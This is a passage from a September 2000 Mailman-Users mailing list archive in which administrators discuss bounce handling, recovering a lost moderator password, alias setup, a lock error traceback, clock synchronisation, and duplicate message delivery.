> > > > Thomas Gramstad
> > > > thomas at ifi.uio.no
> > > > 
> > > > ------------------------------------------------------
> > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > http://www.python.org/mailman/listinfo/mailman-users


From thomas at ifi.uio.no  Wed Sep 20 23:59:18 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 20 Sep 2000 23:59:18 +0200
Subject: [Mailman-Users] Redirecting bounces?
Message-ID: <MM.969487158.27572.solva@ifi.uio.no>

Mailman's automatic bounce handling with disabling is a good
feature.  But sometimes the bounces bypass Mailman because they
are addressed to listname-owner at list.address.  Then I get them in
my mailbox, and I'll have to unsub them manually.  I was wondering
if there is a way around this -- that is, can I remail, forward or
redirect such bounces to mailman so that they enter mailman's
automatic bounce handling?  If so, which address to I remail them
to?  I tried to remail them to the list address, but that only
generates an error message from mailman to the effect "loop
detected, message discarded".

Thomas Gramstad
thomas at ifi.uio.no


From lra at insite.com.br  Thu Sep 21 00:11:52 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 19:11:52 -0300 (EST)
Subject: [Mailman-Users] Redirecting bounces?
In-Reply-To: <MM.969487158.27572.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>

when you get a bounce it usually means mailman bounce detection couldn't
recognize the message as a bounce. your options are:

* hack mailman to make it recognize the message you are getting
* ask the postmaster to the domain you are getting bounces from to change
their mta to something that can grasp some ressemblance of standards when
dealing with bounces.

On Wed, 20 Sep 2000, Thomas Gramstad wrote:

> Mailman's automatic bounce handling with disabling is a good
> feature.  But sometimes the bounces bypass Mailman because they
> are addressed to listname-owner at list.address.  Then I get them in
> my mailbox, and I'll have to unsub them manually.  I was wondering
> if there is a way around this -- that is, can I remail, forward or
> redirect such bounces to mailman so that they enter mailman's
> automatic bounce handling?  If so, which address to I remail them
> to?  I tried to remail them to the list address, but that only
> generates an error message from mailman to the effect "loop
> detected, message discarded".
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From lra at insite.com.br  Thu Sep 21 00:14:32 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 19:14:32 -0300 (EST)
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: <MM.969486760.27572.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009201904510.14619-100000@fantomas.insite.com.br>

Well, at least on mailman 1.x (which is what I use) there is only one
list admin password, so your password would be the same as his.

On Wed, 20 Sep 2000, Thomas Gramstad wrote:

> > If you still have the mailman global-master-super-duper-power
> > password, you can use it anywhere a password is required and
> > change a list moderator password this way.
> 
> That would be something that the people who installed Mailman
> at the server at the university have, right?  I've never even
> heard of such a password.  And I don't have access to the
> server where all the system files are.
> 
> Are you telling me that there is nothing I can do as a list
> administrator if my co-moderator loses his moderator password
> (and nothing he can do), other than asking the university
> computer staff to change and/or send the password to him?
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> --
> 
> > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > 
> > > > You can change the moderator password at the web interface,
> > > 
> > > But that requires that you first provide the old password,
> > > does it not?  (Which he doesn't have.)
> > > 
> > > > but the only time it is sent out is at list creation, AFAIK
> > > 
> > > No, also when a new moderator is added (who is not or has never
> > > been a moderator of another list at the same site).
> > > 
> > > Thomas Gramstad
> > > thomas at ifi.uio.no
> > > 
> > > --
> > > 
> > > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > > 
> > > > > One of my lists has two moderators and now my co-moderator has
> > > > > forgotten his moderator password.  How can he get it back?
> > > > > 
> > > > > First he tried the password that he can get e-mailed to him via
> > > > > the subscription page, but that's clearly a different password,
> > > > > used only for un/sub.cribing.  (How can these passwords be made
> > > > > the same -- automatically -- so that he only needs to think about
> > > > > one password?)
> > > > > 
> > > > > Then we tried that I removed him as a moderator, and then
> > > > > reinstated him, thinking that Mailman would then send him the (or
> > > > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > > > and has apparently decided that he only gets his password exactly
> > > > > once in his lifetime... unless there is some other solution...
> > > > > (I should add that my co-moderator isn't sloppy with passwords --
> > > > > he kept it in an encrypted file, but then his PC crashed and the
> > > > > file was lost.  Of course that's what happens when one uses a PC
> > > > > with Microsoft, but still...)
> > > > > 
> > > > > Thomas Gramstad
> > > > > thomas at ifi.uio.no
> > > > > 
> > > > > ------------------------------------------------------
> > > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > > http://www.python.org/mailman/listinfo/mailman-users
> 




From thomas at ifi.uio.no  Thu Sep 21 00:22:01 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 21 Sep 2000 00:22:01 +0200
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: Leonardo Rochael Almeida <lra@insite.com.br>'s message of Wed,
        20 Sep 2000 19:14:32 -0300 (EST)
References: <Pine.LNX.4.21.0009201904510.14619-100000@fantomas.insite.com.br>
Message-ID: <MM.969488521.29800.solva@ifi.uio.no>

> Well, at least on mailman 1.x (which is what I use) there is only one
> list admin password, so your password would be the same as his.

Uh...
So if I have 25 lists (which I do), and I have a co-moderator on ONE
of them, then he has actually in reality become a list-owner of ALL
my lists!?  Is this really true??  I find it hard to believe that
someone would actually design it that way purposely... huge bug...

Thomas Gramstad
thomas at ifi.uio.no

--

> On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> 
> > > If you still have the mailman global-master-super-duper-power
> > > password, you can use it anywhere a password is required and
> > > change a list moderator password this way.
> > 
> > That would be something that the people who installed Mailman
> > at the server at the university have, right?  I've never even
> > heard of such a password.  And I don't have access to the
> > server where all the system files are.
> > 
> > Are you telling me that there is nothing I can do as a list
> > administrator if my co-moderator loses his moderator password
> > (and nothing he can do), other than asking the university
> > computer staff to change and/or send the password to him?
> > 
> > Thomas Gramstad
> > thomas at ifi.uio.no
> > 
> > --
> > 
> > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > 
> > > > > You can change the moderator password at the web interface,
> > > > 
> > > > But that requires that you first provide the old password,
> > > > does it not?  (Which he doesn't have.)
> > > > 
> > > > > but the only time it is sent out is at list creation, AFAIK
> > > > 
> > > > No, also when a new moderator is added (who is not or has never
> > > > been a moderator of another list at the same site).
> > > > 
> > > > Thomas Gramstad
> > > > thomas at ifi.uio.no
> > > > 
> > > > --
> > > > 
> > > > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > > > 
> > > > > > One of my lists has two moderators and now my co-moderator has
> > > > > > forgotten his moderator password.  How can he get it back?
> > > > > > 
> > > > > > First he tried the password that he can get e-mailed to him via
> > > > > > the subscription page, but that's clearly a different password,
> > > > > > used only for un/sub.cribing.  (How can these passwords be made
> > > > > > the same -- automatically -- so that he only needs to think about
> > > > > > one password?)
> > > > > > 
> > > > > > Then we tried that I removed him as a moderator, and then
> > > > > > reinstated him, thinking that Mailman would then send him the (or
> > > > > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > > > > and has apparently decided that he only gets his password exactly
> > > > > > once in his lifetime... unless there is some other solution...
> > > > > > (I should add that my co-moderator isn't sloppy with passwords --
> > > > > > he kept it in an encrypted file, but then his PC crashed and the
> > > > > > file was lost.  Of course that's what happens when one uses a PC
> > > > > > with Microsoft, but still...)
> > > > > > 
> > > > > > Thomas Gramstad
> > > > > > thomas at ifi.uio.no
> > > > > > 
> > > > > > ------------------------------------------------------
> > > > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > > > http://www.python.org/mailman/listinfo/mailman-users


From lra at insite.com.br  Thu Sep 21 00:47:52 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 20 Sep 2000 19:47:52 -0300 (EST)
Subject: [Mailman-Users] Retrieving moderator password
In-Reply-To: <MM.969488521.29800.solva@ifi.uio.no>
Message-ID: <Pine.LNX.4.21.0009201937380.14619-100000@fantomas.insite.com.br>

On Thu, 21 Sep 2000, Thomas Gramstad wrote:

> > Well, at least on mailman 1.x (which is what I use) there is only one
> > list admin password, so your password would be the same as his.
> 
> Uh...
> So if I have 25 lists (which I do), and I have a co-moderator on ONE
> of them, then he has actually in reality become a list-owner of ALL
> my lists!?  Is this really true??  I find it hard to believe that
> someone would actually design it that way purposely... huge bug...

oh, no, no. See, if you have 25 lists, you should have, at least on
mailman 1.x, 25 passwords. You may set them to the same string, but they
are 25 independent passwords nonetheless :-)



From Dan.Mick at West.Sun.COM  Thu Sep 21 01:55:11 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Wed, 20 Sep 2000 16:55:11 -0700 (PDT)
Subject: [Mailman-Users] Error posting to list
Message-ID: <200009202354.QAA07997@utopia.west.sun.com>

> I just set up Mailman 2.0 Beta2 and created the "test" list. Everything
> seems to be working fine, but when I try and post to the list at
> test at foo.bar, I get a mail error stating that the user is unknown. Is this a
> sendmail issue or Mailman?

It's a user problem.

You didn't read the stuff that INSTALL or newlist said about aliases,
did you?  (Hint: go read it now.)

Also, why use beta2?  beta5 has been out for some time.



From Dan.Mick at West.Sun.COM  Thu Sep 21 01:59:09 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Wed, 20 Sep 2000 16:59:09 -0700 (PDT)
Subject: [Mailman-Users] Retrieving moderator password
Message-ID: <200009202358.QAA08300@utopia.west.sun.com>

1) If you're the "co-moderator", don't you know the list password?
If you don't know the password, you're not the moderator, are you?

2) yes, if a password is lost, you have to reset it...that's what
"password protection" means in nearly every context.  Storing
plaintext passwords is a security no-no.

> > If you still have the mailman global-master-super-duper-power
> > password, you can use it anywhere a password is required and
> > change a list moderator password this way.
> 
> That would be something that the people who installed Mailman
> at the server at the university have, right?  I've never even
> heard of such a password.  And I don't have access to the
> server where all the system files are.
> 
> Are you telling me that there is nothing I can do as a list
> administrator if my co-moderator loses his moderator password
> (and nothing he can do), other than asking the university
> computer staff to change and/or send the password to him?
> 
> Thomas Gramstad
> thomas at ifi.uio.no
> 
> --
> 
> > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > 
> > > > You can change the moderator password at the web interface,
> > > 
> > > But that requires that you first provide the old password,
> > > does it not?  (Which he doesn't have.)
> > > 
> > > > but the only time it is sent out is at list creation, AFAIK
> > > 
> > > No, also when a new moderator is added (who is not or has never
> > > been a moderator of another list at the same site).
> > > 
> > > Thomas Gramstad
> > > thomas at ifi.uio.no
> > > 
> > > --
> > > 
> > > > On Wed, 20 Sep 2000, Thomas Gramstad wrote:
> > > > 
> > > > > One of my lists has two moderators and now my co-moderator has
> > > > > forgotten his moderator password.  How can he get it back?
> > > > > 
> > > > > First he tried the password that he can get e-mailed to him via
> > > > > the subscription page, but that's clearly a different password,
> > > > > used only for un/sub.cribing.  (How can these passwords be made
> > > > > the same -- automatically -- so that he only needs to think about
> > > > > one password?)
> > > > > 
> > > > > Then we tried that I removed him as a moderator, and then
> > > > > reinstated him, thinking that Mailman would then send him the (or
> > > > > a new) moderator password.  No such luck.  Mailman remembered him,
> > > > > and has apparently decided that he only gets his password exactly
> > > > > once in his lifetime... unless there is some other solution...
> > > > > (I should add that my co-moderator isn't sloppy with passwords --
> > > > > he kept it in an encrypted file, but then his PC crashed and the
> > > > > file was lost.  Of course that's what happens when one uses a PC
> > > > > with Microsoft, but still...)
> > > > > 
> > > > > Thomas Gramstad
> > > > > thomas at ifi.uio.no
> > > > > 
> > > > > ------------------------------------------------------
> > > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > > http://www.python.org/mailman/listinfo/mailman-users
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From Dan.Mick at West.Sun.COM  Thu Sep 21 02:03:13 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Wed, 20 Sep 2000 17:03:13 -0700 (PDT)
Subject: [Mailman-Users] Retrieving moderator password
Message-ID: <200009210002.RAA08479@utopia.west.sun.com>

> > Well, at least on mailman 1.x (which is what I use) there is only one
> > list admin password, so your password would be the same as his.
> 
> Uh...
> So if I have 25 lists (which I do), and I have a co-moderator on ONE
> of them, then he has actually in reality become a list-owner of ALL
> my lists!?  

What?

If you're a "co-moderator", and there's only one password for that
list which you co-moderate, then clearly you have that one password
or the site password, yes?

If you have the one password, tell him.
If you have the site password, change the list password.

What's the issue?



From intra at mirage.it.net.au  Thu Sep 21 02:22:24 2000
From: intra at mirage.it.net.au (Peter)
Date: Thu, 21 Sep 2000 08:22:24 +0800 (WST)
Subject: [Mailman-Users] Error posting to list
In-Reply-To: <NEBBILDLMKELNOGMJOLEGEAOCIAA.dmunoz@meyersgroup.com>
Message-ID: <Pine.LNX.4.21.0009210821510.4417-100000@mirage.it.net.au>

Have you got a aliaes setup?

On Wed, 20 Sep 2000, Douglas Munoz wrote:

> I just set up Mailman 2.0 Beta2 and created the "test" list. Everything
> seems to be working fine, but when I try and post to the list at
> test at foo.bar, I get a mail error stating that the user is unknown. Is this a
> sendmail issue or Mailman?
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From hwg at vsl.cua.edu  Wed Sep 20 23:06:25 2000
From: hwg at vsl.cua.edu (Guess Who.....)
Date: Wed, 20 Sep 2000 21:06:25 GMT
Subject: [Mailman-Users] Mailman stopped working on me :/
Message-ID: <200009202106.VAA29711@gateway.vsl.cua.edu>

Hello everyone,
I'm not sure whats up.  My mailing list was working, but now it has 
stopped :/  Here are the details on my system:
FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #2: Fri Aug 18 08:22:31 GMT 2000
Running Sendmail and newest Mailman beta.
I've checked my error log, but the only thing there is:
Sep 01 05:00:01 2000 (16214) Delivery exception: 
Sep 01 05:00:01 2000 (16214) Traceback (innermost last):
  File "/usr/local/mailman/Mailman/Handlers/HandlerAPI.py", line 82, in 
do_pipeline
    func(mlist, msg, msgdata)
  File "/usr/local/mailman/Mailman/Handlers/SMTPDirect.py", line 68, in 
process
    mlist.Save()
  File "/usr/local/mailman/Mailman/MailList.py", line 833, in Save
    self.__lock.refresh()
  File "/usr/local/mailman/Mailman/LockFile.py", line 204, in refresh
    raise NotLockedError
NotLockedError:

There are no other errors that I can see.  When a message is sent to 
the list, there is no confirmation and it is not sent.  It appears to 
go into the bitbucket :/  Please let me know what I can do to further 
the debugging or any other info you need!  TIA,
Sabre


From jwt at OnJapan.net  Thu Sep 21 03:47:26 2000
From: jwt at OnJapan.net (Jim Tittsler)
Date: Thu, 21 Sep 2000 10:47:26 +0900
Subject: [Mailman-Users] usenet gateway and crossposting
In-Reply-To: <5.0.0.25.2.20000920131007.028a9dd0@admin.aurora.edu>; from ckolar@admin.aurora.edu on Wed, Sep 20, 2000 at 01:13:15PM -0500
References: <5.0.0.25.2.20000920131007.028a9dd0@admin.aurora.edu>
Message-ID: <20000921104726.A14586@server.onjapan.net>

On Wed, Sep 20, 2000 at 01:13:15PM -0500, Christopher Kolar wrote:
> Hello everyone.  I was wondering if the usenet gateway feature can be used 
> to cross post to multiple news groups.  Does the standard cross post format

No, I don't believe it can currently.

To pick out the first couple of reasons I spotted:
Mailman/Handlers/ToUsenet.py believes that mlist.linked_newsgroup
is a single group when it compares to groups in an existing
header.  And news-to-mail keeps only a single watermark per
list(group) in cron/gatenews.


From blurr at txraves.org  Thu Sep 21 06:12:36 2000
From: blurr at txraves.org (jordan)
Date: Wed, 20 Sep 2000 23:12:36 -0500
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
Message-ID: <008501c02382$874cc590$6a365d18@groovebox>

ok i've seen posts about this in the past but never recall 
seeing a solution.  i'm running mailman v1.1.  there was a 
power outtage not too long ago and the box shut down.  for some
reason the clock doesn't retain the date/time, haven't figured 
that one out yet.  anyways, i think there was a few days that 
went by before i noticed the time was off(i was getting emails
from the year 2008) and i can't remember if i used the webadmin
in that period of time but after setting the clock back, the 
webadmin broke.  i put in a passwd and then whenever i click
on a link to another section or hit a submit button, it takes 
me back to to the password prompt.

i remember someone mentioning the term "family of browsers"
which accurately describes my situation.  my problem exists
only in IE, on every computer i use.  navigator works.

any ideas?

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"



From Dan.Mick at West.Sun.COM  Thu Sep 21 06:15:59 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Wed, 20 Sep 2000 21:15:59 -0700 (PDT)
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
Message-ID: <200009210414.VAA13358@utopia.west.sun.com>

Fixed in 2.0.  Honestly, that's the easiest answer.

Upgrading is easier than you fear it will be.

> ok i've seen posts about this in the past but never recall 
> seeing a solution.  i'm running mailman v1.1.  there was a 
> power outtage not too long ago and the box shut down.  for some
> reason the clock doesn't retain the date/time, haven't figured 
> that one out yet.  anyways, i think there was a few days that 
> went by before i noticed the time was off(i was getting emails
> from the year 2008) and i can't remember if i used the webadmin
> in that period of time but after setting the clock back, the 
> webadmin broke.  i put in a passwd and then whenever i click
> on a link to another section or hit a submit button, it takes 
> me back to to the password prompt.
> 
> i remember someone mentioning the term "family of browsers"
> which accurately describes my situation.  my problem exists
> only in IE, on every computer i use.  navigator works.
> 
> any ideas?
> 
> ] jordan
> ] blurr at txraves.org
> ] http://www.txraves.org/
> 
> "a closed mind is a wonderful thing to lose"
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From chuqui at plaidworks.com  Thu Sep 21 06:12:56 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 20 Sep 2000 21:12:56 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
In-Reply-To: <008501c02382$874cc590$6a365d18@groovebox>
References: <008501c02382$874cc590$6a365d18@groovebox>
Message-ID: <p04330101b5ef3b1dd069@[209.239.169.197]>

At 11:12 PM -0500 9/20/00, jordan wrote:
>ok i've seen posts about this in the past but never recall
>seeing a solution.  i'm running mailman v1.1.  there was a
>power outtage not too long ago and the box shut down.  for some
>reason the clock doesn't retain the date/time, haven't figured
>that one out yet.

man setclock.

you need to set the unix date, then run setclock to update the hardware clock.

I finally just put a crontab entry onto my box to run setclock once a 
day s I wouldn't have to remember.
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From blurr at txraves.org  Thu Sep 21 06:33:08 2000
From: blurr at txraves.org (jordan)
Date: Wed, 20 Sep 2000 23:33:08 -0500
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
References: <200009210414.VAA13358@utopia.west.sun.com>
Message-ID: <00d001c02385$57a38290$6a365d18@groovebox>

> Upgrading is easier than you fear it will be.

heh, is it that obvious?  i wasn't certain of its stability
and wanted to hold off until the final.  guess i'll take the 
plunge. weeeeee

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"


----- Original Message ----- 
From: "Dan Mick" <Dan.Mick at West.Sun.COM>
To: <mailman-users at python.org>; <blurr at txraves.org>
Sent: Wednesday, September 20, 2000 11:15 PM
Subject: Re: [Mailman-Users] funkiness after reboot/clock loosing time


> Fixed in 2.0.  Honestly, that's the easiest answer.
> 
> Upgrading is easier than you fear it will be.
> 
> > ok i've seen posts about this in the past but never recall 
> > seeing a solution.  i'm running mailman v1.1.  there was a 
> > power outtage not too long ago and the box shut down.  for some
> > reason the clock doesn't retain the date/time, haven't figured 
> > that one out yet.  anyways, i think there was a few days that 
> > went by before i noticed the time was off(i was getting emails
> > from the year 2008) and i can't remember if i used the webadmin
> > in that period of time but after setting the clock back, the 
> > webadmin broke.  i put in a passwd and then whenever i click
> > on a link to another section or hit a submit button, it takes 
> > me back to to the password prompt.
> > 
> > i remember someone mentioning the term "family of browsers"
> > which accurately describes my situation.  my problem exists
> > only in IE, on every computer i use.  navigator works.
> > 
> > any ideas?
> > 
> > ] jordan
> > ] blurr at txraves.org
> > ] http://www.txraves.org/
> > 
> > "a closed mind is a wonderful thing to lose"
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> 



From blurr at txraves.org  Thu Sep 21 06:38:56 2000
From: blurr at txraves.org (jordan)
Date: Wed, 20 Sep 2000 23:38:56 -0500
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
References: <008501c02382$874cc590$6a365d18@groovebox> <p04330101b5ef3b1dd069@[209.239.169.197]>
Message-ID: <00d501c02385$dff43540$6a365d18@groovebox>

> man setclock.

DESCRIPTION
        setclock  sets  the hardware clock on the current 
system to the current time stored in the system clock.
       /etc/sysconfig/clock is read to discover the format 
the time should be converted to before storage. This is the 
same method used by the standard Red Hat startup scripts and 
timeconfig(8).

-snip-

this may be a dumb question but, whats the diff between the 
system clock and hardware clock?  and is there any parallel
in the dos/windows world(having to sync the 2 clocks)?

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"


----- Original Message ----- 
From: "Chuq Von Rospach" <chuqui at plaidworks.com>
To: "jordan" <blurr at txraves.org>; <mailman-users at python.org>
Sent: Wednesday, September 20, 2000 11:12 PM
Subject: Re: [Mailman-Users] funkiness after reboot/clock loosing time


> At 11:12 PM -0500 9/20/00, jordan wrote:
> >ok i've seen posts about this in the past but never recall
> >seeing a solution.  i'm running mailman v1.1.  there was a
> >power outtage not too long ago and the box shut down.  for some
> >reason the clock doesn't retain the date/time, haven't figured
> >that one out yet.
> 
> man setclock.
> 
> you need to set the unix date, then run setclock to update the hardware clock.
> 
> I finally just put a crontab entry onto my box to run setclock once a 
> day s I wouldn't have to remember.
> -- 
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)




From jwt at OnJapan.net  Thu Sep 21 06:37:55 2000
From: jwt at OnJapan.net (Jim Tittsler)
Date: Thu, 21 Sep 2000 13:37:55 +0900
Subject: [Mailman-Users] X-Complaints-To: header breaking mail-to-news
Message-ID: <20000921133755.A14857@server.onjapan.net>

One of the local ISPs has started adding an X-Complaints-To: header
to all of the outgoing mail through their system.  My inn 2.2.2
news machine would reject gatewayed postings thinking the user was
trying to dummy up the header.  I'm currently stripping off the
header in the MTA transport that feeds the messages to the
mailman wrapper, but am wondering if Mailman shouldn't remove
the header on all messages it processes (or at least in those
handled by ToUsenet).  Any downside?


From chuqui at plaidworks.com  Thu Sep 21 06:49:34 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 20 Sep 2000 21:49:34 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
In-Reply-To: <00d501c02385$dff43540$6a365d18@groovebox>
References: <008501c02382$874cc590$6a365d18@groovebox>
 <p04330101b5ef3b1dd069@[209.239.169.197]>
 <00d501c02385$dff43540$6a365d18@groovebox>
Message-ID: <p04330105b5ef43a2d0c4@[209.239.169.197]>

At 11:38 PM -0500 9/20/00, jordan wrote:

>this may be a dumb question but, whats the diff between the
>system clock and hardware clock?  and is there any parallel
>in the dos/windows world(having to sync the 2 clocks)?

one is kept by the linux kernel, one is hardware. I'm asusming linux 
did this so it wouldn't have to assume it had a hardware clock -- 
it's a linuxism, no other unix I know of does it this way.

dos? I have no clue. I'm a unix/mac guy. sorry.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From chuqui at plaidworks.com  Thu Sep 21 06:50:39 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 20 Sep 2000 21:50:39 -0700
Subject: [Mailman-Users] X-Complaints-To: header breaking
 mail-to-news
In-Reply-To: <20000921133755.A14857@server.onjapan.net>
References: <20000921133755.A14857@server.onjapan.net>
Message-ID: <p04330106b5ef43ece242@[209.239.169.197]>

At 1:37 PM +0900 9/21/00, Jim Tittsler wrote:
>but am wondering if Mailman shouldn't remove
>the header on all messages it processes (or at least in those
>handled by ToUsenet).  Any downside?

Yes -- X- headers are a perfectly acceptable part of the protocol and 
used for any number of things. If your news gateway is rejecting 
them, it's broken. Mailman shouldn't touch these.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From claw at kanga.nu  Thu Sep 21 07:23:21 2000
From: claw at kanga.nu (J C Lawrence)
Date: Wed, 20 Sep 2000 22:23:21 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time 
In-Reply-To: Message from "jordan" <blurr@txraves.org> 
   of "Wed, 20 Sep 2000 23:12:36 CDT." <008501c02382$874cc590$6a365d18@groovebox> 
References: <008501c02382$874cc590$6a365d18@groovebox> 
Message-ID: <27406.969513801@kanga.nu>

On Wed, 20 Sep 2000 23:12:36 -0500 
jordan  <blurr at txraves.org> wrote:

> for some reason the clock doesn't retain the date/time, haven't
> figured that one out yet.  anyways, i think there was a few days
> that went by before i noticed the time was off

While this doesn't address your problme, install and configure a
copy of XNTP3 to keep your system clocks in good order.  If you're
running a local LAN, you or your ISP should have at least a stratum
2 or 3 server to hang off.

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


From tomg at nova.yi.org  Thu Sep 21 07:33:42 2000
From: tomg at nova.yi.org (Tom Goulet)
Date: Thu, 21 Sep 2000 05:33:42 +0000
Subject: [Mailman-Users] users getting mail twice
Message-ID: <20000921053342.B1200@nova.yi.org>

Hello,

When a user of my mailing list hits the 'g' key in most popular mailers,
a reply is set up that addressed To: listuser at foo.bar, and CC:
thelist at mymachine.

The trouble is that user mentioned in the To: will receive the message
twice.

This is wrong, and it's my understanding that To: listuser and CC:
thelist is perfectly acceptable.

What do I need to do to remedy this?

I am using Mailman version 1.1, and my mailer is Exim 3.12.  This is on
a Debian potato box, by the way.

I haven't configured Exim in any way except to add an aliases file:
# Make mailman happy.
mailman_aliases:
        driver = aliasfile
        file_transport = address_file
        pipe_transport = address_pipe
        file = /etc/mailman/aliases
        search_type = lsearch
        user = list

If you need to know anything else, let me know.  :)

Thanks in advance.

TomG
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From Dan.Mick at West.Sun.COM  Thu Sep 21 07:40:54 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Wed, 20 Sep 2000 22:40:54 -0700 (PDT)
Subject: [Mailman-Users] users getting mail twice
Message-ID: <200009210539.WAA15182@utopia.west.sun.com>

Mailman must not change this.  The request is to send it to two
different addresses, and that's what Mailman does.  Some
prefer it, in fact, so that they can distinguish between "list
messages addressed to the list" and "list messages addressed specifically
to me".

It may seem wrong, but it's really not.

> When a user of my mailing list hits the 'g' key in most popular mailers,
> a reply is set up that addressed To: listuser at foo.bar, and CC:
> thelist at mymachine.
> 
> The trouble is that user mentioned in the To: will receive the message
> twice.
> 
> This is wrong, and it's my understanding that To: listuser and CC:
> thelist is perfectly acceptable.
> 
> What do I need to do to remedy this?



From chuqui at plaidworks.com  Thu Sep 21 07:55:35 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed, 20 Sep 2000 22:55:35 -0700
Subject: [Mailman-Users] users getting mail twice
In-Reply-To: <200009210539.WAA15182@utopia.west.sun.com>
References: <200009210539.WAA15182@utopia.west.sun.com>
Message-ID: <p0433010ab5ef52f16978@[209.239.169.197]>

Dan is correct, but mailman could, in fact, do something about it.

One thing I've considered is changing mailman so that if it sees 
someone listed explicitly in the To: or CC: lines, it wouldn't also 
send a copy via the list. That probably ought to be configurable, but 
I think it's a reasonable way to get around this kind of issue, which 
is, in fact, a feature, but one which some people don't like.

it's definitely not a bug, but I think the MLM can be made smart 
enough to deal with it.


At 10:40 PM -0700 9/20/00, Dan Mick wrote:
>Mailman must not change this.  The request is to send it to two
>different addresses, and that's what Mailman does.  Some
>prefer it, in fact, so that they can distinguish between "list
>messages addressed to the list" and "list messages addressed specifically
>to me".
>
>It may seem wrong, but it's really not.
>
>>  When a user of my mailing list hits the 'g' key in most popular mailers,
>>  a reply is set up that addressed To: listuser at foo.bar, and CC:
>>  thelist at mymachine.
>>
>>  The trouble is that user mentioned in the To: will receive the message
>>  twice.
>>
>>  This is wrong, and it's my understanding that To: listuser and CC:
>>  thelist is perfectly acceptable.
>>
>>  What do I need to do to remedy this?
>
>
>------------------------------------------------------
>Mailman-Users maillist  -  Mailman-Users at python.org
>http://www.python.org/mailman/listinfo/mailman-users

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From lindsey at mallorn.com  Thu Sep 21 07:59:36 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Thu, 21 Sep 2000 00:59:36 -0500
Subject: [Mailman-Users] users getting mail twice
In-Reply-To: <20000921053342.B1200@nova.yi.org>; from tomg@nova.yi.org on Thu, Sep 21, 2000 at 05:33:42AM +0000
References: <20000921053342.B1200@nova.yi.org>
Message-ID: <20000921005936.C12227@mallorn.com>

> What do I need to do to remedy this?

There are two possibilities that I can think of:

   1.  Do it on a per user basis (most traditional method, and really the
       only right one based on existing SMTP protocols).  If you use 
